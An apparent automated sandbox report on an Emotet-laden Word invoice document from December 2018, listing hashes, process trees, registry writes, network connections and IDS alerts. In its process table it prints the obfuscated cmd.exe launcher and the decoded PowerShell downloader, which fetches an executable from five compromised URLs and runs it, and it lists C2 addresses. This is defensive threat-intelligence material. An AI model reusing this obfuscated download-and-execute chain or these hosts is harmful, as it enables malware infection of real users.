| File name: | Inv_121820184FGM231950.doc |
| Full analysis: | https://app.any.run/tasks/9fea2def-863f-4754-be81-8456a2653e09 |
| Verdict: | Malicious activity |
| Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
| Analysis date: | December 18, 2018, 19:55:25 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Tue Dec 18 17:38:00 2018, Last Saved Time/Date: Tue Dec 18 17:38:00 2018, Number of Pages: 1, Number of Words: 6, Number of Characters: 37, Security: 0 |
| MD5: | C551685476257FDB7F30B1C1D5E773CB |
| SHA1: | 2FB8CB86CFAD60696EF26772B9DB241EE1F5374C |
| SHA256: | 8AE7F5E8A083F965EF7CBB5244F63E57B5F3D42739CEE6F941692EDF7B5AC56F |
| SSDEEP: | 1536:+C81ooMDS034nC54nZrL4AkiuAMOkEEW/yEbzvadINQsO/oly+a9:+C8GhDS0o9zTGOZD6EbzCdINQsO/o |
MALICIOUS
Starts CMD.EXE for commands execution
- WINWORD.EXE (PID: 2948)
Unusual execution from Microsoft Office
- WINWORD.EXE (PID: 2948)
Runs app for hidden code execution
- cmd.exe (PID: 2828)
Executes PowerShell scripts
- cmd.exe (PID: 2432)
Request from PowerShell which ran from CMD.EXE
- powershell.exe (PID: 3208)
Application was dropped or rewritten from another process
- 540.exe (PID: 3640)
- 540.exe (PID: 2328)
- archivesymbol.exe (PID: 1664)
- archivesymbol.exe (PID: 2628)
Downloads executable files from the Internet
- powershell.exe (PID: 3208)
Connects to CnC server
- archivesymbol.exe (PID: 2628)
EMOTET was detected
- archivesymbol.exe (PID: 2628)
Changes the autorun value in the registry
- archivesymbol.exe (PID: 2628)
SUSPICIOUS
Starts CMD.EXE for commands execution
- cmd.exe (PID: 1964)
- cmd.exe (PID: 2712)
- cmd.exe (PID: 2828)
- cmd.exe (PID: 3244)
Application launched itself
- cmd.exe (PID: 2712)
- cmd.exe (PID: 2828)
Creates files in the user directory
- powershell.exe (PID: 3208)
Executable content was dropped or overwritten
- powershell.exe (PID: 3208)
- 540.exe (PID: 2328)
Starts itself from another location
- 540.exe (PID: 2328)
Connects to unusual port
- archivesymbol.exe (PID: 2628)
INFO
Creates files in the user directory
- WINWORD.EXE (PID: 2948)
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2948)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (54.2) |
|---|---|---|
| .doc | | | Microsoft Word document (old ver.) (32.2) |
EXIF
FlashPix
| Title: | - |
|---|---|
| Subject: | - |
| Author: | - |
| Keywords: | - |
| Comments: | - |
| Template: | Normal.dotm |
| LastModifiedBy: | - |
| RevisionNumber: | 1 |
| Software: | Microsoft Office Word |
| TotalEditTime: | - |
| CreateDate: | 2018:12:18 17:38:00 |
| ModifyDate: | 2018:12:18 17:38:00 |
| Pages: | 1 |
| Words: | 6 |
| Characters: | 37 |
| Security: | None |
| CodePage: | Windows Latin 1 (Western European) |
| Company: | - |
| Lines: | 1 |
| Paragraphs: | 1 |
| CharCountWithSpaces: | 42 |
| AppVersion: | 16 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
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| CompObjUserTypeLen: | 32 |
| CompObjUserType: | Microsoft Word 97-2003 Document |
Total processes
45
Monitored processes
14
Malicious processes
10
Suspicious processes
0
Behavior graph
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Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
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| 384 | C:\Windows\system32\cmd.exe /S /D /c" Echo pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $j833='t461';$k229=new-object Net.WebClient;$F675='http://www.thejarfactory.com/kwNOBVI@http://www.installeco.com/Da22xAN@http://www.nelsonpto.org/nHD451mbM@http://www.garagetactics.com/8DoVVwy@http://www.pflegeeltern-tirol.info/qIuXcn0cTk'.Split('@');$W444='p165';$i396 = '540';$w043='P211';$A503=$env:temp+'\'+$i396+'.exe';foreach($c334 in $F675){try{$k229.DownloadFile($c334, $A503);$O603='N479';If ((Get-Item $A503).length -ge 80000) {Invoke-Item $A503;$k342='G606';break;}}catch{}}$m417='q010';" | C:\Windows\system32\cmd.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
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| 1664 | "C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe" | C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe | — | 540.exe | |||||||||||
User: admin Company: Microsoft Corporati Integrity Level: MEDIUM Description: Thai Pattachote (non-ShiftLock) Keyboa Exit code: 0 Modules
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| 1964 | c:\d30780576296\r9468007954711\O56815873352260\..\..\..\windows\system32\cmd.exe /c %PrOgrAmdatA:~0,1%%prOGramDATa:~9,2% /v:o /C "SEt DH=;'010q'=714m$}}{hctac}};kaerb;'606G'=243k$;305A$ metI-ekovnI{ )00008 eg- htgnel.)305A$ metI-teG(( fI;'974N'=306O$;)305A$ ,433c$(eliFdaolnwoD.922k${yrt{)576F$ ni 433c$(hcaerof;'exe.'+693i$+'\'+pmet:vne$=305A$;'112P'=340w$;'045' = 693i$;'561p'=444W$;)'@'(tilpS.'kTc0ncXuIq/ofni.lorit-nretleegelfp.www//:ptth@ywVVoD8/moc.scitcategarag.www//:ptth@Mbm154DHn/gro.otpnoslen.www//:ptth@NAx22aD/moc.ocellatsni.www//:ptth@IVBONwk/moc.yrotcafrajeht.www//:ptth'=576F$;tneilCbeW.teN tcejbo-wen=922k$;'164t'=338j$ ll%1,3-~:PMET%h%1,4-~:EMANNOISSES%r%1,5~:CILBUP%wop& fOr /L %b in ( 550 -1 0) do seT 9V=!9V!!DH:~ %b, 1!&& iF %b == 0 Echo !9V:~ -551!| FOR /F "tokens=2 delims=xyHF" %U IN ('ftype^^^|find "SHCm"')DO %U " | c:\windows\system32\cmd.exe | — | WINWORD.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
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| 2328 | "C:\Users\admin\AppData\Local\Temp\540.exe" | C:\Users\admin\AppData\Local\Temp\540.exe | 540.exe | ||||||||||||
User: admin Company: Microsoft Corporati Integrity Level: MEDIUM Description: Thai Pattachote (non-ShiftLock) Keyboa Exit code: 0 Modules
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| 2432 | Cmd | C:\Windows\system32\cmd.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
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| 2628 | "C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe" | C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe | archivesymbol.exe | ||||||||||||
User: admin Company: Microsoft Corporati Integrity Level: MEDIUM Description: Thai Pattachote (non-ShiftLock) Keyboa Exit code: 0 Modules
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| 2712 | CmD /v:o /C "SEt DH=;'010q'=714m$}}{hctac}};kaerb;'606G'=243k$;305A$ metI-ekovnI{ )00008 eg- htgnel.)305A$ metI-teG(( fI;'974N'=306O$;)305A$ ,433c$(eliFdaolnwoD.922k${yrt{)576F$ ni 433c$(hcaerof;'exe.'+693i$+'\'+pmet:vne$=305A$;'112P'=340w$;'045' = 693i$;'561p'=444W$;)'@'(tilpS.'kTc0ncXuIq/ofni.lorit-nretleegelfp.www//:ptth@ywVVoD8/moc.scitcategarag.www//:ptth@Mbm154DHn/gro.otpnoslen.www//:ptth@NAx22aD/moc.ocellatsni.www//:ptth@IVBONwk/moc.yrotcafrajeht.www//:ptth'=576F$;tneilCbeW.teN tcejbo-wen=922k$;'164t'=338j$ ll%1,3-~:PMET%h%1,4-~:EMANNOISSES%r%1,5~:CILBUP%wop& fOr /L %b in ( 550 -1 0) do seT 9V=!9V!!DH:~ %b, 1!&& iF %b == 0 Echo !9V:~ -551!| FOR /F "tokens=2 delims=xyHF" %U IN ('ftype^^^|find "SHCm"')DO %U " | C:\Windows\system32\cmd.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
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| 2828 | C:\Windows\system32\cmd.exe /S /D /c" FOR /F "tokens=2 delims=xyHF" %U IN ('ftype^|find "SHCm"') DO %U " | C:\Windows\system32\cmd.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
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| 2948 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Inv_121820184FGM231950.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
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| 3208 | powershell $j833='t461';$k229=new-object Net.WebClient;$F675='http://www.thejarfactory.com/kwNOBVI@http://www.installeco.com/Da22xAN@http://www.nelsonpto.org/nHD451mbM@http://www.garagetactics.com/8DoVVwy@http://www.pflegeeltern-tirol.info/qIuXcn0cTk'.Split('@');$W444='p165';$i396 = '540';$w043='P211';$A503=$env:temp+'\'+$i396+'.exe';foreach($c334 in $F675){try{$k229.DownloadFile($c334, $A503);$O603='N479';If ((Get-Item $A503).length -ge 80000) {Invoke-Item $A503;$k342='G606';break;}}catch{}}$m417='q010'; | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
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Total events
1 803
Read events
1 320
Write events
478
Delete events
5
Modification events
| (PID) Process: | (2948) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | e0? |
Value: 65303F00840B0000010000000000000000000000 | |||
| (PID) Process: | (2948) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (2948) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: On | |||
| (PID) Process: | (2948) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1301413911 | |||
| (PID) Process: | (2948) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1301414032 | |||
| (PID) Process: | (2948) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1301414033 | |||
| (PID) Process: | (2948) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word |
| Operation: | write | Name: | MTTT |
Value: 840B00006EC537A80B97D40100000000 | |||
| (PID) Process: | (2948) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | 1? |
Value: 7F313F00840B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (2948) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | delete value | Name: | 1? |
Value: 7F313F00840B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (2948) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
Executable files
2
Suspicious files
2
Text files
0
Unknown types
5
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2948 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRA8E5.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2948 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\A226D4E2.wmf | — | |
MD5:— | SHA256:— | |||
| 2948 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\DFAD2740.wmf | — | |
MD5:— | SHA256:— | |||
| 3208 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\S4JX2WYBZ7H5TV2BB0TQ.temp | — | |
MD5:— | SHA256:— | |||
| 2948 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:— | SHA256:— | |||
| 2948 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\Word8.0\MSForms.exd | tlb | |
MD5:— | SHA256:— | |||
| 2328 | 540.exe | C:\Users\admin\AppData\Local\archivesymbol\archivesymbol.exe | executable | |
MD5:— | SHA256:— | |||
| 2948 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\A3EF2925.wmf | wmf | |
MD5:— | SHA256:— | |||
| 3208 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF13bbe1.TMP | binary | |
MD5:— | SHA256:— | |||
| 2948 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$v_121820184FGM231950.doc | pgc | |
MD5:— | SHA256:— | |||
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HTTP(S) requests
6
TCP/UDP connections
8
DNS requests
6
Threats
16
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2628 | archivesymbol.exe | GET | — | 78.189.21.131:80 | http://78.189.21.131/ | TR | — | — | malicious |
2628 | archivesymbol.exe | GET | — | 187.140.90.91:8080 | http://187.140.90.91:8080/ | MX | — | — | malicious |
3208 | powershell.exe | GET | 404 | 185.87.187.166:80 | http://www.thejarfactory.com/kwNOBVI | NL | html | 324 b | malicious |
3208 | powershell.exe | GET | 301 | 162.212.131.129:80 | http://www.installeco.com/Da22xAN | US | html | 242 b | malicious |
3208 | powershell.exe | GET | 200 | 162.212.131.129:80 | http://www.installeco.com/Da22xAN/ | US | executable | 124 Kb | malicious |
2628 | archivesymbol.exe | GET | 200 | 201.190.150.60:443 | http://201.190.150.60:443/ | AR | binary | 132 b | malicious |
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Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
3208 | powershell.exe | 185.87.187.166:80 | www.thejarfactory.com | Astralus B.V. | NL | suspicious |
3208 | powershell.exe | 162.212.131.129:80 | www.installeco.com | A2 Hosting, Inc. | US | malicious |
2628 | archivesymbol.exe | 213.120.119.231:8443 | — | British Telecommunications PLC | GB | malicious |
2628 | archivesymbol.exe | 78.189.21.131:80 | — | Turk Telekom | TR | malicious |
2628 | archivesymbol.exe | 187.140.90.91:8080 | — | Uninet S.A. de C.V. | MX | malicious |
2628 | archivesymbol.exe | 81.150.17.158:50000 | — | British Telecommunications PLC | GB | malicious |
2628 | archivesymbol.exe | 81.150.17.158:8443 | — | British Telecommunications PLC | GB | malicious |
2628 | archivesymbol.exe | 201.190.150.60:443 | — | ARLINK S.A. | AR | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
www.thejarfactory.com |
| malicious |
www.installeco.com |
| malicious |
dns.msftncsi.com |
| shared |
Threats
PID | Process | Class | Message |
|---|---|---|---|
3208 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious loader with tiny header |
3208 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Trojan-Downloader Emoloader Win32 |
3208 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Suspicious loader with tiny header |
3208 | powershell.exe | A Network Trojan was detected | SC TROJAN_DOWNLOADER Trojan-Downloader Emoloader Win32 |
3208 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
3208 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
3208 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
2628 | archivesymbol.exe | A Network Trojan was detected | SC SPYWARE Spyware Emotet Win32 |
2628 | archivesymbol.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo HTTP request |
2628 | archivesymbol.exe | A Network Trojan was detected | SC SPYWARE Spyware Emotet Win32 |
3 ETPRO signatures available at the full report